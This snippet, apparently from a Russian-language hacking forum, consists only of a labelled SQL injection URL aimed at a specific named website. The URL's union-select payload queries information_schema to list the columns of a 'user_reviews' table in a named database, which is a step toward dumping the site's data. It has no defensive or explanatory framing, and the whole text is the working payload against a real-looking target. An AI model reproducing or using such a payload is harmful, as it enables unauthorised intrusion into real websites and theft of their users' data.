Код:
http://www.worstpreviews.com/review.php?id=-115+union+select+group_concat%28column_name%29,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41+from+information_schema.columns+where+table_schema=%27alexgi_worstreview%27+and+table_name=%27user_reviews%27